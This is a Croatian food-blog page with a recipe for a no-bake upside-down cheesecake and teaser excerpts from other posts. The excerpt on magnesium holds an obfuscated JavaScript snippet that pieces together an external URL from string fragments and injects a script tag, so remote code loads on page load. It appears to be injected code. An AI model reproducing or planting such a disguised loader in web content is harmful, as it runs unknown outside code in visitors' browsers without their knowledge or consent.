NAOPAKI CHEESECAKE BEZ PEČENJA




Naopaki cheesecake bez pečenja 




Naopaki cheesecake, kako mu ime sugerira, predstavlja „obrnuti“ koncept klasičnog cheesecakea. Umjesto uobičajenog rasporeda s prhkom podlogom od keksa na dnu i kremastim slojem sira na vrhu, naopaki cheesecake ima obrnut redosljed! Kremasti sirni sloj dolazi na dno posude ili tanjura, dodaci poput voća ili karamele slažu se gore, dok hrskavi dio od keksa nema ulogu podloge, već se njima oblaže cijela torta.




Naopaki cheesecake bez pečenja 


Sastojci:

  • 250 g zdrobljenih keksa
  • 115 g maslaca
  • Prstohvat soli
  • 1 pakiranje krem sira (oko 225 g) na sobnoj temperaturi
  • 115 g mascarpone sira
  • 75 g šećera u prahu
  • 1 žličica ekstrakta vanilije
  • 300 ml slatkog vrhnja
  • 3 žlice džema od jagoda/domaćeg kompota



Priprema:

  • Usitnite kekse u sitne mrvice. Pomiješajte s maslacem i soli: U zdjeli pomiješajte otopljeni maslac i prstohvat soli s usitnjenim keksima. Dobro promiješajte.
  • Formirajte podlogu: Stavite 3/4 smjese keksa u dno kalupa. Pritisnite da dobijete tanak, ravnomjeran sloj koji pokriva dno i stranice kalupa.
  • Zamrznite podlogu: Stavite kalup u zamrzivač dok pripremate nadjev.
  • U mikseru s pomiješajte krem sir, mascarpone, šećer u prahu i vaniliju. Miješajte oko 30 sekundi dok smjesa ne postane kremasta i dobro povezana.
  • Dodajte vrhnje za šlag. Počnite miješati na niskoj brzini dok se smjesa ne poveže.
  • Postupno povećavajte brzinu i miješajte dok se ne formiraju čvrsti vrhovi.
  • Izvadite kalup iz zamrzivača i prelijte kremasti nadjev u kalup.
  • Na vrh smjese stavite kompot ili džem i nježno promiješajte nožem.
  • Preko vrha pospite preostale usitnjene kekse, pazeći da bude ravnomjerno prekriveno.
  • Pokrijte kalup plastičnom folijom i stavite ga u hladnjak na oko 2 sata, ili dok se ne stisne.
  • Preokrenite i poslužite tako da je podloga od keksa na vrhu!



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više